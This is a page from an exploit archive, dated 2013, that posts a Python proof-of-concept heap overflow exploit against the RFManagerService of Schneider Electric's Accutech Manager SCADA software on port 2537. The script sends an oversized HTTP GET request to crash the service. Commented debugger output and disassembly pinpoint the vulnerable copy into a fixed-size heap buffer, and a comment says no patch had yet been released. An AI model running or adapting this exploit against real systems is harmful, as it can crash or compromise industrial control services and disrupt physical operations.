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Schneider Electric Accutech Manager Heap Overflow

Schneider Electric Accutech Manager Heap Overflow
Posted Feb 11, 2013
Authored by Evren Yalcin

Schneider Electric Accutech Manager heap overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | 49fa635763252eb16e9ccbb0e26e8f22a39b5d34dff91c81384d96f3f04280ca

Schneider Electric Accutech Manager Heap Overflow

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#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip

import socket
import sys

host = "192.168.163.128"

port = 2537

buf = "\x41" * 400

req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")

print " [+] Connecting to %s:%d" % (host, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send(req)
data = s.recv(1024)
s.close()

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
#7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
#----snip----
#text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96 call nullsub_1
#.text:0040DE9B lea eax, [ebp+cbTransfer]
#.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2 push esi ; int
#.text:0040DEA3 call sub_40E006
#.text:0040DEA8 add esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.


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